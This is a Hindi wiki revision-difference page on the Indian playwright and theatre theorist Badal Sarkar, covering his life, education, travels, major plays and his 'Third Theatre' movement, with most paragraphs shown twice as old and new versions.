Difference between revisions of "बादल सरकार"

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|जन्म=[[15 जुलाई]] सन [[1925]] ई.
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|अविभावक=पिता- महेन्द्रलाल सरकार, माता- सरलमना सरकार
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|मृत्यु=[[13 मई ]], [[2011]]
 
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|मृत्यु स्थान=[[कोलकाता]]
 
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|मुख्य रचनाएँ=इन्द्रजित (1963), पगला घोड़ा (1967), राम श्याम जोदू (1961), कवि कहानी (1964), बाक़ी इतिहास (1965), तीसरी शताब्दी (1966) आदि
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|मुख्य रचनाएँ=इन्द्रजित ([[1963]]), पगला घोड़ा ([[1967]]), राम श्याम जोदू ([[1961]]), कवि कहानी ([[1964]]), बाक़ी इतिहास ([[1965]]), तीसरी शताब्दी ([[1966]]) आदि।
 
|मुख्य फ़िल्में=
 
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|विषय=
 
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|शिक्षा=बैचलर ऑफ इंजीनि‍यरिंग' तथा 'टाउन प्‍लानिंग' में डि‍प्‍लोमा
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|विद्यालय=शिवपुर इंजीनियरिंग कॉलेज, [[कोलकाता]]
 
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|पुरस्कार=[[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]], [[पद्मश्री]], संगीत नाटक अकादमी-रत्न सदस्य पुरस्कार, [[साहित्य अकादमी]]
 
|पुरस्कार=[[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]], [[पद्मश्री]], संगीत नाटक अकादमी-रत्न सदस्य पुरस्कार, [[साहित्य अकादमी]]
 
|प्रसिद्धि=अभिनेता, नाटककार, निर्देशक
 
|प्रसिद्धि=अभिनेता, नाटककार, निर्देशक
|विशेष योगदान= नुक्कड़ नाटकों को लोकप्रिय बनाने, उसे रंगमंच की समकालीन बहस के बीच लाने में सबसे बड़ा योगदान बादल सरकार का ही है।
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|विशेष योगदान= नुक्कड़ नाटकों को लोकप्रिय बनाने, उसे [[रंगमंच]] की समकालीन बहस के बीच लाने में सबसे बड़ा योगदान बादल सरकार का ही है।
 
|नागरिकता=भारतीय
 
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|शीर्षक 2=पहला नाटक
 
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|पाठ 2=सॉल्यूशन एक्स (1956)  
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*बादल सरकार अभिनेता, नाटककार, निर्देशक और इन सबके अतिरिक्त [[रंगमंच]] के सिद्धांतकार थे। उन्होंने तीसरा रंगमंच का सैद्धांतिक प्रतिपादन किया, और उसे मंच पर भी उतारा।  
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'''बादल सरकार''' ([[अंग्रेज़ी]]: ''Badal Sarakar'',  जन्म: [[15 जुलाई]],  [[1925]] - मृत्य: [[13 मई ]], [[2011]]) अभिनेता, नाटककार, निर्देशक और इन सबके अतिरिक्त [[रंगमंच]] के सिद्धांतकार थे। उन्होंने तीसरा रंगमंच का सैद्धांतिक प्रतिपादन किया, और उसे मंच पर भी उतारा। बादल सरकार ने 'बैचलर ऑफ इंजीनि‍यरिंग' तथा 'टाउन प्‍लानिंग' में डिप्‍लोमा की शिक्षा भारत और विदेशों में ली थी। वह भारत के बहुचर्चित नाटककारों में एक थे। सातवें दशक में पूरे देश में उनकी धूम मची थी। [[मोहन राकेश]], [[विजय तेंडुलकर]] और [[गिरीश कर्नाड]] के साथ बादल सरकार को मिलाने के बाद ही उस दौर का रंगपरिवेश संपूर्ण होता था। उनके नाटक भारी संख्या में [[हिन्दी]] में और अन्‍य भारतीय भाषाओं में मंचित हुए और वे बांग्‍ला की परिधि से बाहर निकल समग्रता में [[भारत]] के नाटककार और भारतीय रंगमंच के अगुआ बने। उन्‍होंने रंगमंच को प्रेक्षागृह की परिधि से बाहर निकाला। आंगन मंच का सिद्धांत रचा। कम से कम खर्च में नाटक मंचित करना और आमजन के लिए नाटक को नि:शुल्‍क उपलब्‍ध कराना उनका लक्ष्‍य बना। सन् 1956 में बादल सरकार ने अपना पहला नाटक 'सॉल्‍यूशन एक्‍स' लिखा।<ref>{{cite web |url=http://bargad.org/2011/05/14/%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8-%E0%A4%95%E0%A5%80-%E0%A4%B0%E0%A5%82%E0%A4%AA%E0%A4%95%E0%A4%A5%E0%A4%BE-%E0%A4%95%E0%A5%87-%E0%A4%A8%E0%A4%BE%E0%A4%9F%E0%A4%95%E0%A4%95%E0%A4%BE%E0%A4%B0/ |title=जीवन की रूपकथा के नाटककार बादल सरकार|accessmonthday= 10 जून|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
*बादल सरकार का जन्म 15 जुलाई सन 1925 को [[कोलकाता]] में हुआ था। बादल सरकार ने 'बैचलर ऑफ इंजीनि‍यरिंग' तथा 'टाउन प्‍लानिंग' में डि‍प्‍लोमा की शि‍क्षा भारत और वि‍देशों में ली थी। वह भारत के बहुचर्चि‍त नाटककारों में एक थे। सातवें दशक में पूरे देश में उनकी धूम मची थी। [[मोहन राकेश]], [[वि‍जय तेंडुलकर]] और [[गि‍रीश कर्नाड]] के साथ बादल सरकार को मि‍लाने के बाद ही उस दौर का रंगपरि‍वेश संपूर्ण होता था। उनके नाटक भारी संख्या में [[हिन्दी]] में और अन्‍य भारतीय भाषाओं में मंचि‍त हुए और वे बांग्‍ला की परिधि से बाहर नि‍कल समग्रता में [[भारत]] के नाटककार और भारतीय रंगमंच के अगुआ बने। उन्‍होंने रंगमंच को प्रेक्षागृह की परि‍धि से बाहर नि‍काला। आंगन मंच का सिद्धांत रचा। कम से कम खर्च में नाटक मंचि‍त करना और आमजन के लि‍ए नाटक को नि‍:शुल्‍क उपलब्‍ध कराना उनका लक्ष्‍य बना। सन 1956 में बादल सरकार ने अपना पहला नाटक 'सॉल्‍यूशन एक्‍स' लि‍खा।<ref>{{cite web |url=http://bargad.org/2011/05/14/%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8-%E0%A4%95%E0%A5%80-%E0%A4%B0%E0%A5%82%E0%A4%AA%E0%A4%95%E0%A4%A5%E0%A4%BE-%E0%A4%95%E0%A5%87-%E0%A4%A8%E0%A4%BE%E0%A4%9F%E0%A4%95%E0%A4%95%E0%A4%BE%E0%A4%B0/ |title=जीवन की रूपकथा के नाटककार बादल सरकार|accessmonthday= 10 जून|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
 
==जीवन परिचय==
 
==जीवन परिचय==
;जन्म
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15 जुलाई, 1925 को कोलकाता के एक ईसाई परिवार में बादल उर्फ सुधीन्द्र सरकार का जन्म हुआ। पिता महेन्द्रलाल सरकार 'स्कॉटिश चर्च कॉलेज' में पढ़ाते थे और विदेशियों द्वारा संचालित इस संस्था के वे पहले भारतीय प्रधानाचार्य बने थे। मां, सरलमना सरकार से बादल सरकार को साहित्य की प्रेरणा मिली। [[1941]] में प्रथम श्रेणी में मैट्रिक पास करने के बाद वे 'शिवपुर इंजीनियरिंग कॉलेज' में भर्ती हुए और [[1946]] में वे सिविल इंजीनियर बने। इंजीनियरिंग कॉलेज में पढ़ते समय वे मार्क्‍सवादी विचारधारा और राजनीति से सघन रूप से जुड़ गए। कम्युनिस्ट पार्टी में सक्रिय रूप से कई वर्षों तक जुड़े रहने के बावजूद, बाद में वे पार्टी राजनीति से अलग हट गए।
15 जुलाई, 1925 को कोलकाता के एक ईसाई परिवार में बादल उर्फ सुधीन्द्र सरकार का जन्म हुआ। पिता महेन्द्रलाल सरकार 'स्कॉटिश चर्च कॉलेज' में पढ़ाते थे और विदेशियों द्वारा संचालित इस संस्था के वे पहले भारतीय प्रधानाचार्य बने थे। मां, सरलमना सरकार से बादल सरकार को साहित्य की प्रेरणा मिली।
 
;शिक्षा
 
1941 में प्रथम श्रेणी में मैट्रिक पास करने के बाद वे 'शिवपुर इंजीनियरिंग कॉलेज' में भर्ती हुए और 1946 में वे सिविल इंजीनियर बने। इंजीनियरिंग कॉलेज में पढ़ते समय वे मार्क्‍सवादी विचारधारा और राजनीति से सघन रूप से जुड़ गए। कम्युनिस्ट पार्टी में सक्रिय रूप से कई वर्षों तक जुड़े रहने के बावजूद, बाद में वे पार्टी राजनीति से अलग हट गए।
 
 
;नौकरी
 
;नौकरी
बादल सरकार ने 1947 में [[नागपुर]] के पास एक निर्माण संस्‍था में पहली नौकरी की। बाद में वे फिर कोलकाता लौट आए जहां उन्होंने जादवपुर और कोलकाता विश्वविद्यालय में इंजीनियर की नौकरी की। वे उन दिनों नौकरी के साथ-साथ शिवपुर इंजीनियरिंग कॉलेज में सायंकालीन कक्षाओं में 'टाउन प्‍लानिंग' डिप्‍लोमा के लिए पढ़ाई करते रहे। 1953 में दोमादर वैली कारपोरेशन की नौकरी लेकर माइथन गए। माइथन में बादल सरकार 1956 तक थे। इसी दौरान नाटक के प्रति उनका रुझान दिखने लगा। दफ्तर के सहकर्मियों के साथ मिलकर एक अभिनव रिहर्सल क्‍लब की शुरुआत की जहां, बादल सरकार के शब्‍दों में 'रिहर्सल होगा पर नाटक का मंचन कभी नहीं होगा।' जैसा अभिनव नियम लागू किया गया था, पर बाद में सदस्यों के उत्साह से इस नियम में तोड़कर नाटकों के मंचन की शुरुआत हुई।
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बादल सरकार ने [[1947]] में [[नागपुर]] के पास एक निर्माण संस्‍था में पहली नौकरी की। बाद में वे फिर कोलकाता लौट आए जहां उन्होंने जादवपुर और कोलकाता विश्वविद्यालय में इंजीनियर की नौकरी की। वे उन दिनों नौकरी के साथ-साथ शिवपुर इंजीनियरिंग कॉलेज में सायंकालीन कक्षाओं में 'टाउन प्‍लानिंग' डिप्‍लोमा के लिए पढ़ाई करते रहे। [[1953]] में दोमादर वैली कारपोरेशन की नौकरी लेकर माइथन गए। माइथन में बादल सरकार [[1956]] तक थे। इसी दौरान नाटक के प्रति उनका रुझान दिखने लगा। दफ़्तर के सहकर्मियों के साथ मिलकर एक अभिनव रिहर्सल क्‍लब की शुरुआत की जहां, बादल सरकार के शब्‍दों में 'रिहर्सल होगा पर नाटक का मंचन कभी नहीं होगा।' जैसा अभिनव नियम लागू किया गया था, पर बाद में सदस्यों के उत्साह से इस नियम में तोड़कर नाटकों के मंचन की शुरुआत हुई।
  
बचपन से ही बादल सरकार नाटकों के प्रति आकर्षित थे। उन्हें नाटकों में हास्य [[रस]] सबसे ज़्यादा पसंद था, लिहाज़ा यह स्वाभाविक ही था कि उनके प्रारंभिक नाटकों में हमें यह तत्व ज़्यादा मुखर दिखता है। वे इसे 'सिचुएशन कॉमेडी' कहते हैं। उनका 1956 में लिखा गया पहला नाटक 'सॉल्यूशन एक्स' था। यह नाटक एक विदेशी फिल्म, 'Monkey Business' की कहानी पर आधारित एक सिचुएशन कॉमेडी के रूप में प्रसिद्ध हुआ।
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बचपन से ही बादल सरकार नाटकों के प्रति आकर्षित थे। उन्हें नाटकों में हास्य [[रस]] सबसे ज़्यादा पसंद था, लिहाज़ा यह स्वाभाविक ही था कि उनके प्रारंभिक नाटकों में हमें यह तत्व ज़्यादा मुखर दिखता है। वे इसे 'सिचुएशन कॉमेडी' कहते हैं। उनका [[1956]] में लिखा गया पहला नाटक 'सॉल्यूशन एक्स' था। यह नाटक एक विदेशी फ़िल्म, 'Monkey Business' की कहानी पर आधारित एक सिचुएशन कॉमेडी के रूप में प्रसिद्ध हुआ।
 
;विदेशों में
 
;विदेशों में
1957 से 1958, इन दो वर्षों के दौरान उन्होंने इंग्लैंड में ‘टाउन-प्‍लानिंग’ का कोर्स करने के साथ-साथ नौकरी की। इसी समय उन्‍हें प्रसिद्ध अभिनेताओं का अभिनय देखने का मौक़ा मिला। विवयन ली, चार्ल्स लैटन, माइकल रॉडरेथ, मार्गरेट कॉलिन्‍स आदि के अभिनय और वहां के रंगकर्म से वे बेहद प्रभावित हुए। पर शायद उनके ‘तीसरे रंगमंच’ की नींव की पहली ईंट के रूप में फ्रेंच कवि रॉसिन की कृति ‘फ्रिड्रे’ नाटक को देखने का अनुभव था। 21 फरवरी, 1958 को देखे गए 'थिएटर-इन-राउण्‍ड' में इस प्रस्तुति के बारे में अपने अनुभवों को डायरी के पन्नों में दर्ज करते हुए उन्होंने लिखा था, 'आज जो देखा उसे कभी भुला न पाऊंगा।' मुक्त मंच के इस अनुभव को हम वर्षों बाद उनके तीसरे रंगमंच की अवधारणाओं में विकसित होते देख पाते हैं।
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1957 से 1958, इन दो वर्षों के दौरान उन्होंने इंग्लैंड में ‘टाउन-प्‍लानिंग’ का कोर्स करने के साथ-साथ नौकरी की। इसी समय उन्‍हें प्रसिद्ध अभिनेताओं का अभिनय देखने का मौक़ा मिला। विवयन ली, चार्ल्स लैटन, माइकल रॉडरेथ, मार्गरेट कॉलिन्‍स आदि के अभिनय और वहां के रंगकर्म से वे बेहद प्रभावित हुए। पर शायद उनके ‘तीसरे रंगमंच’ की नींव की पहली ईंट के रूप में फ्रेंच कवि रॉसिन की कृति ‘फ्रिड्रे’ नाटक को देखने का अनुभव था। [[21 फ़रवरी]], [[1958]] को देखे गए 'थिएटर-इन-राउण्‍ड' में इस प्रस्तुति के बारे में अपने अनुभवों को डायरी के पन्नों में दर्ज करते हुए उन्होंने लिखा था, 'आज जो देखा उसे कभी भुला न पाऊंगा।' मुक्त मंच के इस अनुभव को हम वर्षों बाद उनके तीसरे रंगमंच की अवधारणाओं में विकसित होते देख पाते हैं।
  
इंग्लैंड प्रवास के दिनों में ही उन्होंने 'बोड़ो पीशी मां' (बड़ी बूआजी) लिखा। इसी समय उन्‍होंने एक छोटा नाटक 'शनिवार' लिखा। यह नाटक जी.बी. प्रिस्‍टले के नाटक 'एन इन्स्पेक्टर कॉल्स' पर आधारित था। 1959 में वे इंग्लैंड से कोलकाता लौट आए और आते ही अपने उत्साही मित्रों के साथ 'चक्रगोष्ठी' नाम से एक 'नाट्य संस्था' की नींव रखी। हर शनिवार को इस गोष्ठी में नाटक के साथ-साथ संगीत, साहित्‍य, विज्ञान आदि विभिन्न विषयों पर चर्चा होती थी। इसी 'चक्रगोष्ठी' के प्रयास से उनके कई आरंभिक नाटकों से दर्शक परिचित हुए। 'बोड़ो पीशीमां', 'शोनिबार', 'समावृत', 'रामश्यामजदु' आदि जिनमें प्रमुख हैं।
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इंग्लैंड प्रवास के दिनों में ही उन्होंने 'बोड़ो पीशी मां' (बड़ी बूआजी) लिखा। इसी समय उन्‍होंने एक छोटा नाटक 'शनिवार' लिखा। यह नाटक जी.बी. प्रिस्‍टले के नाटक 'एन इन्स्पेक्टर कॉल्स' पर आधारित था। [[1959]] में वे इंग्लैंड से कोलकाता लौट आए और आते ही अपने उत्साही मित्रों के साथ 'चक्रगोष्ठी' नाम से एक 'नाट्य संस्था' की नींव रखी। हर शनिवार को इस गोष्ठी में नाटक के साथ-साथ संगीत, साहित्‍य, विज्ञान आदि विभिन्न विषयों पर चर्चा होती थी। इसी 'चक्रगोष्ठी' के प्रयास से उनके कई आरंभिक नाटकों से दर्शक परिचित हुए। 'बोड़ो पीशीमां', 'शोनिबार', 'समावृत', 'रामश्यामजदु' आदि जिनमें प्रमुख हैं।
  
इसके बाद बादल सरकार फ्रांस सरकार के आर्थिक अनुदान पर वहां गए और फिर तीन वर्षों तक नाइजीरिया में नौकरी की। इस विदेश प्रवास के दौरान उन्होंने 'एबों इन्द्रजित', 'सारा रात्तिर', 'बल्लभपुरेर रूपकथा', 'जोदी आर एकबार', 'त्रिंश शताब्दी', 'पागला घोड़ा', 'प्रलाप', 'पोरे कोनोदिन' जैसे महत्वपूर्ण नाटक लिखे।
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इसके बाद बादल सरकार फ्रांस सरकार के आर्थिक अनुदान पर वहां गए और फिर तीन वर्षों तक नाइजीरिया में नौकरी की। इस विदेश प्रवास के दौरान उन्होंने 'एबों इन्द्रजित', 'सारा रात्तिर', 'बल्लभपुरेर रूपकथा', 'जोदी आर एकबार', 'त्रिंश शताब्दी', 'पागला घोड़ा', 'प्रलाप', 'पोरे कोनोदिन' जैसे महत्त्वपूर्ण नाटक लिखे।
 
;भारत लौटने पर
 
;भारत लौटने पर
देश में लौटने के पहले ही 'एबों इन्द्रजित' बहुरूपी नाट्य पत्रिका में (अंक: 22, जुलाई, 1965)  प्रकाशित हुआ। इसके प्रकाशन के साथ ही बादल सरकार की ख्याति चारों ओर फैल गई। इसका पहला मंचन 'शौभनिक' नाट्यसंस्था ने 16 दिसंबर, 1965 को किया। नाटक के प्रकाशन और मंचन ने नाट्य जगत में मानों धूम मचा दी। 1968 को उन्हें इस नाटक के लिए [[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]] मिला। नाइज़ीरिया से [[भारत]] लौटने के तुरंत बाद उन्होंने 'बाकी इतिहास' लिखा। उन दिनों शंभु मित्र रंगमंच के शीर्षस्थ व्यक्तियों में थे। उनकी नाट्य संस्था 'बहुरूपी' ने 'बाकी इतिहास' का सफल मंचन किया। ये दोनों नाटक उनके 'सिचुएशनल कॉमेडी' वाले नाटकों से बिल्कुल भिन्न थे, जो भारतीय रंगमंच में एक नए युग का संकेत था।
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देश में लौटने के पहले ही 'एबों इन्द्रजित' बहुरूपी नाट्य पत्रिका में (अंक: [[22 जुलाई]], [[1965]])  प्रकाशित हुआ। इसके प्रकाशन के साथ ही बादल सरकार की ख्याति चारों ओर फैल गई। इसका पहला मंचन 'शौभनिक' नाट्यसंस्था ने [[16 दिसंबर]], [[1965]] को किया। नाटक के प्रकाशन और मंचन ने नाट्य जगत् में मानों धूम मचा दी। [[1968]] को उन्हें इस नाटक के लिए [[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]] मिला। नाइज़ीरिया से [[भारत]] लौटने के तुरंत बाद उन्होंने 'बाकी इतिहास' लिखा। उन दिनों शंभु मित्र रंगमंच के शीर्षस्थ व्यक्तियों में थे। उनकी नाट्य संस्था 'बहुरूपी' ने 'बाकी इतिहास' का सफल मंचन किया। ये दोनों नाटक उनके 'सिचुएशनल कॉमेडी' वाले नाटकों से बिल्कुल भिन्न थे, जो भारतीय रंगमंच में एक नए युग का संकेत था।
 
;'शताब्दी' नाट्य संस्था
 
;'शताब्दी' नाट्य संस्था
1967 में उन्होंने अपने साथियों के साथ 'शताब्दी' नाट्य संस्था की स्थापना की। 18 मार्च, 1967 को 'रवीन्द्र सरोवर मंच' से 'शताब्दी' ने अपनी रंगयात्रा शुरू की। 1956 से लेकर 1967 तक के सभी नाटक बादल सरकार ने 'प्रोसेनियम मंच' के लिए लिखे थे। लिहाज़ा 'शताब्दी' की आरंभिक प्रस्तुतियां 'प्रोसेनियम' ही थीं।
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1967 में उन्होंने अपने साथियों के साथ 'शताब्दी' नाट्य संस्था की स्थापना की। [[18 मार्च]], [[1967]] को 'रवीन्द्र सरोवर मंच' से 'शताब्दी' ने अपनी रंगयात्रा शुरू की। 1956 से लेकर 1967 तक के सभी नाटक बादल सरकार ने 'प्रोसेनियम मंच' के लिए लिखे थे। लिहाज़ा 'शताब्दी' की आरंभिक प्रस्तुतियां 'प्रोसेनियम' ही थीं।
1971 से रंगमंच को लेकर बादल सरकार की अवधारणाएं तेजी से बदलने लगी थीं और वे निरंतर प्रयोग कर रहे थे। प्रयोगों के इस दौर से गुजरते हुए वे 'तीसरे रंगमंच' तक जल्द ही पहुंच सके। वे मानने लगे थे कि 'नाटक एक जीवंत कला माध्यम है- Live show ! लोगों का दो समूह - एक ही वक्‍त, एक ही स्‍थान पर इकट्ठे होकर एक कला माध्‍यम के साथ जुड़ रहे हैं - अभिनेताओं और दर्शकों के दो समूह के रूप में। यह एक मानवीय क्रिया है - मनुष्‍य का मनुष्‍य के साथ जुड़ाव। सिनेमा हमें ऐसे प्रत्‍यक्ष जुड़ाव का मौक़ा नहीं देता।' ऐसे ही विचारों से रंगमंच पर प्रयोग करते हुए, उन्‍होंने अन्‍तत: रंगमंच को सार्थक कला माध्‍यम के रूप में स्‍थापित करने के उद्देश्‍य से, प्रोसेनियम रंगमंच को त्याग, तीसरे रंगमंच को आम जनता तक एक 'फ्री-थिएटर' के रूप में ले जाने में क़ामयाबी हासिल की।
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1971 से रंगमंच को लेकर बादल सरकार की अवधारणाएं तेजी से बदलने लगी थीं और वे निरंतर प्रयोग कर रहे थे। प्रयोगों के इस दौर से गुजरते हुए वे 'तीसरे रंगमंच' तक जल्द ही पहुंच सके। वे मानने लगे थे कि 'नाटक एक जीवंत कला माध्यम है- Live show ! लोगों का दो समूह - एक ही वक्‍त, एक ही स्‍थान पर इकट्ठे होकर एक कला माध्‍यम के साथ जुड़ रहे हैं - अभिनेताओं और दर्शकों के दो समूह के रूप में। यह एक मानवीय क्रिया है - मनुष्‍य का मनुष्‍य के साथ जुड़ाव। सिनेमा हमें ऐसे प्रत्‍यक्ष जुड़ाव का मौक़ा नहीं देता।' ऐसे ही विचारों से रंगमंच पर प्रयोग करते हुए, उन्‍होंने अन्‍तत: रंगमंच को सार्थक कला माध्‍यम के रूप में स्‍थापित करने के उद्देश्‍य से, प्रोसेनियम रंगमंच को त्याग, तीसरे रंगमंच को आम जनता तक एक 'फ्री-थिएटर' के रूप में ले जाने में कामयाबी हासिल की।
 
;1970 से 1993
 
;1970 से 1993
 
1970 से 1993 तक बादल सरकार के सभी नाटक तीसरे या विकल्प के रंगमंच को ध्यान में रखकर लिखे गए। 'शताब्दी' के अलावा पूरे देश में इन नाटकों को विभिन्न भाषाओं में, छोटे-बडे़ शहरों - कस्‍बों में विभिन्‍न नाट्य संस्‍थाओं द्वारा खेला गया। बादल सरकार के तीसरे रंगमंच ने भारत की भाषाई,  प्रांतीय और सांस्कृतिक दूरियों को खत्म कर पहली बार एक सार्थक भारतीय रंगमंच विकसित करने की दिशा में एक सफल प्रयास किया। [[मराठी भाषा|मराठी]],  [[हिन्दी]],  [[पंजाबी भाषा|पंजाबी]], [[गुजराती भाषा|गुजराती]], [[मलयालम भाषा|मलयाली]], [[कन्नड़]],  [[उड़िया भाषा|ओडिय़ा]] आदि भारतीय भाषाओं में उनके नाटक मंचित हुए और किसी न किसी रूप में देश के सभी प्रांतों के रंगकर्मियों को तीसरे रंगमंच ने अपनी ओर आकर्षित किया।
 
1970 से 1993 तक बादल सरकार के सभी नाटक तीसरे या विकल्प के रंगमंच को ध्यान में रखकर लिखे गए। 'शताब्दी' के अलावा पूरे देश में इन नाटकों को विभिन्न भाषाओं में, छोटे-बडे़ शहरों - कस्‍बों में विभिन्‍न नाट्य संस्‍थाओं द्वारा खेला गया। बादल सरकार के तीसरे रंगमंच ने भारत की भाषाई,  प्रांतीय और सांस्कृतिक दूरियों को खत्म कर पहली बार एक सार्थक भारतीय रंगमंच विकसित करने की दिशा में एक सफल प्रयास किया। [[मराठी भाषा|मराठी]],  [[हिन्दी]],  [[पंजाबी भाषा|पंजाबी]], [[गुजराती भाषा|गुजराती]], [[मलयालम भाषा|मलयाली]], [[कन्नड़]],  [[उड़िया भाषा|ओडिय़ा]] आदि भारतीय भाषाओं में उनके नाटक मंचित हुए और किसी न किसी रूप में देश के सभी प्रांतों के रंगकर्मियों को तीसरे रंगमंच ने अपनी ओर आकर्षित किया।
 
;साहित्य समीक्षक चिन्मय गुहा का कथन
 
;साहित्य समीक्षक चिन्मय गुहा का कथन
प्रसिद्ध कला और साहित्य समीक्षक चिन्मय गुहा ने बादल सरकार के जीवन और कृतित्व पर चर्चा करते हुए 'आनंद बाज़ार पत्रिका' <ref>18 जुलाई, 2008</ref> में लिखा है, जो बेहद गौरतलब है - 'आज से सौ वर्ष बाद शायद इस बात पर बहस हो कि क्या बीसवीं और इक्कीसवीं सदी के संधि काल में, एक ही साथ तीन-तीन बादल सरकार हुए थे जिनमें से एक ने सरस पर बौद्धक रूप से प्रखर संवादों से भरे, कॉमिक स्थितियों की बारीकियों पर अपनी पैनी नज़र साधे, बेहद प्रभावशाली हास्य नाटक लिखे थे। दूसरे, जिन्होंने समाज में हिंसा के, विश्व राजनीतिक खींचातानी के चलते युद्ध की काली परछाई के, परमाणु अस्त्रों के, आतंक के और समाज में बढ़ती आर्थिक असमानता के ख़िलाफ़ अपनी आवाज़ को अपने नाटकों में दर्ज किया था और तीसरे, जिन्होंने प्रेक्षागृहों के अंदर कैद मनोरंजन प्रधान रंगमंच को एक मुक्ताकाश के नीचे आम जनता तक पहुंचाने का सपना देखा था।'
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प्रसिद्ध कला और साहित्य समीक्षक चिन्मय गुहा ने बादल सरकार के जीवन और कृतित्व पर चर्चा करते हुए 'आनंद बाज़ार पत्रिका' <ref>18 जुलाई, 2008</ref> में लिखा है, जो बेहद गौरतलब है - 'आज से सौ वर्ष बाद शायद इस बात पर बहस हो कि क्या बीसवीं और इक्कीसवीं [[सदी]] के संधि काल में, एक ही साथ तीन-तीन बादल सरकार हुए थे जिनमें से एक ने सरस पर बौद्धक रूप से प्रखर संवादों से भरे, कॉमिक स्थितियों की बारीकियों पर अपनी पैनी नज़र साधे, बेहद प्रभावशाली हास्य नाटक लिखे थे। दूसरे, जिन्होंने समाज में हिंसा के, विश्व राजनीतिक खींचातानी के चलते युद्ध की काली परछाई के, परमाणु अस्त्रों के, आतंक के और समाज में बढ़ती आर्थिक असमानता के ख़िलाफ़ अपनी आवाज़ को अपने नाटकों में दर्ज किया था और तीसरे, जिन्होंने प्रेक्षागृहों के अंदर कैद मनोरंजन प्रधान रंगमंच को एक मुक्ताकाश के नीचे आम जनता तक पहुंचाने का सपना देखा था।'
 
;भारतीय रंगमंच का विकास
 
;भारतीय रंगमंच का विकास
 
आज से सौ वर्ष बाद के पाठकों को शायद इन तीनों बादल सरकार को एक ही व्यक्तित्व के रूप में चिह्नित करने में कठिनाई होगी। लेकिन राहत की बात कि भारतीय जनता के सुख-दुख, उनकी चिंताओं,  उनकी समस्याओं और सत्ता द्वारा उनके शोषण की समानता के चलते उनकी जो एक विशिष्ट  पहचान बनी थी- [[भाषा]], प्रांत और संस्कृति के बीच की दीवारों को तोड़े कर बनी थी। इसी विशिष्ट पहचान को आधार मानकर भारतीय रंगमंच का विकास संभव हुआ था।
 
आज से सौ वर्ष बाद के पाठकों को शायद इन तीनों बादल सरकार को एक ही व्यक्तित्व के रूप में चिह्नित करने में कठिनाई होगी। लेकिन राहत की बात कि भारतीय जनता के सुख-दुख, उनकी चिंताओं,  उनकी समस्याओं और सत्ता द्वारा उनके शोषण की समानता के चलते उनकी जो एक विशिष्ट  पहचान बनी थी- [[भाषा]], प्रांत और संस्कृति के बीच की दीवारों को तोड़े कर बनी थी। इसी विशिष्ट पहचान को आधार मानकर भारतीय रंगमंच का विकास संभव हुआ था।
सिनेमा-टेलीविजन और तमाम अन्य मनोरंजन के साधनों के जरिए जहां सत्ता की संस्कृति जन संस्‍कृति के ख़िलाफ़ व्यापक रूप से सक्रिय हो रही थी और जनता के सरोकारों और सवालों से उन्हें भ्रमित करने में लगी थी,  तब समाज परिवर्तन के उद्देश्य से न सही,  महज एक देशव्यापी प्रतिरोध की संस्कृति को ज़िंदा रखने के लिए, तीसरे रंगमंच ने एक महत्वपूर्ण भूमिका निभाई थी। बादल सरकार और उनके तीसरे रंगमंच को आने वाले कल के पाठक उसी तरह तरह से अपने क़रीब पाएंगे- जितने क़रीब और आत्‍मीय सरकार आज हमारे हैं।<ref> {{cite book | last =भौमिक| first =अशोक| title =बादल सरकार : व्‍यक्ति और रंगमंच| edition = | publisher =अंतिका प्रकाशन| location =गाजियाबाद| language =हिन्दी| pages =  | chapter = }}</ref>
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सिनेमा-टेलीविजन और तमाम अन्य मनोरंजन के साधनों के जरिए जहां सत्ता की संस्कृति जन संस्‍कृति के ख़िलाफ़ व्यापक रूप से सक्रिय हो रही थी और जनता के सरोकारों और सवालों से उन्हें भ्रमित करने में लगी थी,  तब समाज परिवर्तन के उद्देश्य से न सही,  महज एक देशव्यापी प्रतिरोध की संस्कृति को ज़िंदा रखने के लिए, तीसरे रंगमंच ने एक महत्त्वपूर्ण भूमिका निभाई थी। बादल सरकार और उनके तीसरे रंगमंच को आने वाले कल के पाठक उसी तरह तरह से अपने क़रीब पाएंगे- जितने क़रीब और आत्‍मीय सरकार आज हमारे हैं।<ref> {{cite book | last =भौमिक| first =अशोक| title =बादल सरकार : व्‍यक्ति और रंगमंच| edition = | publisher =अंतिका प्रकाशन| location =गाजियाबाद| language =हिन्दी| pages =  | chapter = }}</ref>
 
==रचनाएँ==
 
==रचनाएँ==
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[[चित्र:Badal Sarkar-book.jpg|thumb]]
 
#राम श्याम जोदू(1961)
 
#राम श्याम जोदू(1961)
 
#कवि कहानी (1964),  
 
#कवि कहानी (1964),  
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#मिछिल-जुलूस (1974) आदि।  
 
#मिछिल-जुलूस (1974) आदि।  
 
;पुस्तकें
 
;पुस्तकें
बादल सरकार बताते हैं- 'मैंने अपना काम कविताओं से शुरू किया। सन 1956 में मैंने अपना पहला नाटक सॉल्यूशन एक्स लिखा। फिर सन 1956 में 'बारो पिशीमा' आया।' अभी हाल ही में उनकी दो पुस्तकें 'पुरोनो कुशुन्डी और प्रोबोशेर हिज्जीबिज्जी आई हैं, जिनमें उनके नाटकों, अनुभवों और विदेश यात्राओं का विवरण है।
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बादल सरकार बताते हैं- 'मैंने अपना काम कविताओं से शुरू किया। सन् 1956 में मैंने अपना पहला नाटक सॉल्यूशन एक्स लिखा। फिर सन् 1956 में 'बारो पिशीमा' आया।' अभी हाल ही में उनकी दो पुस्तकें 'पुरोनो कुशुन्डी और प्रोबोशेर हिज्जीबिज्जी आई हैं, जिनमें उनके नाटकों, अनुभवों और विदेश यात्राओं का विवरण है।
 
;नुक्कड़ नाटक  
 
;नुक्कड़ नाटक  
